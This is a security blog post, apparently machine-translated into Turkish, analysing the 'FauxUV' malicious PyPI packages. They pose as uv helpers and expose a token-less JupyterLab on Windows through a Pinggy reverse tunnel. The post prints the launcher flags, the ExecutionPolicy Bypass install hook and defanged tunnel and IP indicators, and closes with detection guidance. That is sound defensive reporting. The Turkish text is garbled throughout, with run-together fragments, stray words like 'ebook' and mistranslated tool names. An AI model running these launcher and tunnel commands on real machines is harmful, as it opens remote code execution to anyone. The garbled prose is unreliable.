TL; DR
PyPI paketlerinden oluşan bir küme, şu ismi ödünç aldı: uvRust tabanlı, hızlı ve son derece popüler Python paket yöneticisi olan `uv`, uv yardımcıları gibi görünmek için kullanılıyor. Neredeyse hiçbir gerçek işlevsellik sunmuyorlar. Bunun yerine, Windows için bir yük taşıyorlar ve bu yük bir Kimlik doğrulaması devre dışı bırakılmış JupyterLab sunucusu ve daha sonraki sürümlerde, ters tünel aracılığıyla halka açık internete yayınlar.
İşte tüm hikaye tek bir cümleyle özetlenmiş hali: Yem olarak güvenilir bir aracın adı, uzaktan kod yürütme motoru olarak da JupyterLab kullanıldı. Jupyter sunucusu, girdiğiniz kodu çalıştırır.ebook Boş bir belirteçle başlatılan ve her ağ arayüzüne bağlı olan hücre, porta erişebilen herkesin çalıştırabileceği açık bir yorumlayıcıdır.
Küme oluşumunu şu şekilde takip ediyoruz: SahteUVİncelenen iki paket şunlardır: moon-uv (0.0.1 – 0.0.16) ve my-magic-uv-helper (0.0.1), aynı operatör tarafından yayınlanmış ve analiz sırasında PyPI'da mevcuttur.
| Ekosistem | PyPI |
| Paketler | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platformun hedeflediği | Windows |
| Temel davranış | Kimlik doğrulaması yapılmamış JupyterLab sunucusu, ters tünel aracılığıyla internete yayınlandı. |
| Meşru araçların kötüye kullanılması | uv, JupyterLab, cloudflared, Pinggy |
Cazip gelen unsur: Zaten güvendiğiniz bir isim.
uv Son iki yılda en çok yüklenen Python araçlarından biri olduğundan, "bir yardımcı araç" olarak nitelendirilebilir. uv"FauxUV", geliştiricilerin hiç düşünmeden kurduğu bir pakettir. FauxUV, güvenilirliğini tamamen bu isme borçludur. Paketler, gerçek uv Astral'den gelen yükleyici — yükteki URL'ler gerçek, saygın sunuculara işaret ediyor — bu nedenle hızlı bir bakışta yalnızca güvenilir referanslar görülüyor. Paketlerin hiçbiri aslında bir şey eklemiyor. uv İşlevsellik; isim, tüm kamuflajın ta kendisi.
JupyterLab, RCE motoru olarak
Paketin merkezinde, JupyterLab'ı tüm güvenlik önlemleri kaldırılmış şekilde başlatan bir başlatıcı bulunuyor:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Her bayrak bir korumayı ortadan kaldırır ve gönderilen komut dosyası bunları (orijinal Çince olarak) açıklayıcı bir şekilde belirtir: boş belirteç "Parola ve token kontrollerini devre dışı bırakır; herkes bağlanabilir." JüpyterLab meşru bir veri bilimi IDE'sidir, ancak değil.ebook Hücre, tasarım gereği rastgele kod yürütür. Bu şekilde yapılandırılmış ve bağlanmıştır. 0.0.0.0Bu durumda, bir IDE olmaktan çıkıp, ana bilgisayarda kimlik doğrulaması yapılmamış uzaktan erişim kabuğu haline gelir; özel bir kötü amaçlı yazılım ikili dosyasına gerek yoktur, sadece yanlış yöne yönlendirilmiş yaygın bir araç yeterlidir.
Bu hedefe ulaşmayı ve tekrar etmeyi mümkün kılan iki destekleyici unsur var:
- Sessiz kurulum tetikleyicisi. İlk sürümler PowerShell'i çalıştırır. -ExecutionPolicy Bypass doğrudan kurulum.py on pip kurulumuArka planda hatalar gizlenmiş şekilde bip Normal görünüyor. Daha sonraki sürümler aynı temel öğeyi bir yere taşıyor. pip-uv komut satırı aracını kullanın ve kurulum sırasında otomatik çalıştırmayı tamamen kaldırın.
- Halka açık ters tünel. Bir sunucu üzerinde 0.0.0.0 Hala yalnızca makineye yönlendirme yapabilen sunucular tarafından erişilebilir. Paketlenmiş bir modül [Pinggy]( açar.https://pinggy.io/) Yerel Jupyter portunu genel bir adrese yönlendiren ve bu sınırlamayı ortadan kaldıran SSH ters tüneli. Gönderilen betik ayrıca Cloudflare'ı kullanan alternatif bir yol da içeriyor (yorum satırı haline getirilmiş). bulut alevlendi ve netsh Farklı bir altyapı üzerinden aynı amaca hizmet eden bir Linode IP adresine port proxy'si yönlendirmesi.
Özetle: paketi kurun ve bir Windows sunucusu parola gerektirmeyen bir JupyterLab çalıştırıp bunu açık internete yayınlamış olur.
FauxUV nasıl gelişti?
FauxUV'nin sürümleri kısa süre içinde birbirini takip etti ve yükün tetikleme noktası bu sürümler arasında değişti; bu da işaretlenmiş tek bir sürümün bir paket serisinin tüm hikayesini nadiren anlattığını hatırlatıyor.
| Aşama | sürümler | Tetik | Ne ekler |
|---|---|---|---|
| Kurulum kancası | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py pip install üzerinde | uv install + PATH prepend |
| CLI çalışma zamanı | moon-uv 0.0.5-0.0.13 | pip-uv komuta | parola gerektirmeyen JupyterLab başlatıcısı |
| Tünel | moon-uv 0.0.14-0.0.16 | pip-uv komuta | aktif bir Pinggy geri tüneli |
Özellikle, kurulum sırasında otomatik çalıştırma özelliği dikkat çekiciydi. kaldırıldı Daha sonraki, daha yetenekli sürümlerde — yani yalnızca yaşam döngüsüne odaklanan bir tarayıcı hooks Yeni çıkan filmleri şu şekilde değerlendirirdim: az Riskli, tam tersi.
Uzlaşma göstergeleri
Paketin kaynak kodunu okuyarak doğrulandı; uç noktalar işaretlendi. yorumladı Dosyalarda mevcutlar ancak analiz edilen sürüm tarafından yürütülmüyorlar. Ağ göstergeleri etkisiz hale getirilmiş durumda.
| Menşei | Gösterge |
|---|---|
| Kurulum komutu | powershell -ExecutionPolicy Bypass PIP kurulum zamanında orijinal UV kurulum cihazını temin etmek. |
| JupyterLab bayrakları | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Ters tünel (aktif) | free[.]pinggy[.]io:443 yerel yönlendirme 127.0.0.1:8888 |
| Tünel sunucusu (yorum yaptı) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (yorumlandı) | 45[.]79[.]134[.]161 (Linode aracılığıyla) netsh port-proxy |
| Sebat | önek %USERPROFILE%\.local\bin kullanıcı YOLUNA |
Bu metin dizilerinden bağımsız olarak, dikkat edilmesi gereken davranışsal sinyaller: a pip kurulumu ortaya çıkaran powershell -ExecutionPolicy Bypass; hiç Jüpiter başlatma birleştirme token="" 'da –ip=0.0.0.0ve giden SSH'ye *.pinggy.io Bir geliştirici veya CI makinesinden.
Gözlemlenen davranış ve köken
İki paketin de ortak bir yazarı ve yöntemi var: güvenilir bir aracın adı, yalnızca Windows'a özgü güvenlik önlemleri, hata bastırmalı arka plan yürütme ve saygın araçlara dayanma, böylece hızlı bir bakışta yalnızca saygın URL'ler görülüyor. Kaynak kod, güvenlik açısından önemli işaretleri açıkça açıklayan Çince yorumlar içeriyor; bunları dosyadaki gözlemlenebilir ifadeler olarak rapor ediyoruz, bir amaç iddiası olarak değil. izin_kökeni değer ve bir ortak.bat Dosya adı, Google Colab için yaygın olarak kullanılan gayri resmi "yerel çalışma ortamımı paylaş" iş akışlarını yansıtır. Kaynağı ne olursa olsun, paketlenmiş sonuç aynıdır.
Savunmacılar için etki ve rehberlik
SahteUV ışınlarına kimler maruz kalıyor? Windows geliştiricileri ve CI çalıştırıcıları pip kurulumu Bu paketlerden biri. Parolasız bir JupyterLab. 0.0.0.0 Bu, porta erişebilen herkes için uzaktan kod yürütme anlamına gelir; tünel, "kimin erişebileceği" sınırını ortadan kaldırır. Sunucu, kurulumu yapan kullanıcı olarak çalışır ve bu kullanıcının dosyalarını, belirteçlerini ve bulut kimlik bilgilerini devralır.
Gözden kaçmasının kolay olmasının nedenleri. Her ağ dizesi saygın bir sunucuya işaret eder — Astral, JupyterLab, bulut alevlendiPinggy, Colab. Karıştırılacak bir kötü amaçlı yazılım ikili dosyası veya çözülecek gizlenmiş bir veri bloğu yok. İtibar ve imza tabanlı tarama yöntemlerinin her ikisi de bunu hafife alıyor, bu yüzden davranışsal soru ortaya çıkıyor — Bu paketi yüklemek makinenin ne yapmasını sağlar? — onu yakalayan odur.
Rehberlik:
- Kurulum süresini dikkate alın. powershell -ExecutionPolicy Bypass URL ne olursa olsun, derlemeyi bozan bir sinyal olarak algılanır.
- Uyarısı Jüpiter boş bir token ile başlatıldı ve –ip=0.0.0.0Bu kombinasyon asla bir iş istasyonunda veya sunucuda yer almamalıdır.
- Tünel sağlayıcılarına giden giden SSH bağlantılarını izleyin (*.pinggy.io, *.trycloudflare.comGeliştirici ve CI ortamlarından.
- kurmak uv [Resmi kaynağından](https://docs.astral.sh/uv/Ayrıca, kurulumu zaten çok kolay olan bir aracı sarmalayan üçüncü taraf "yardımcı" paketlere karşı şüpheci olun.
- Yükseltme sırasında bağımlılıkları sabitleyin ve yeniden gözden geçirin — bir paket hattı, sürümden sürüme yeni yetenekler kazanabilir.



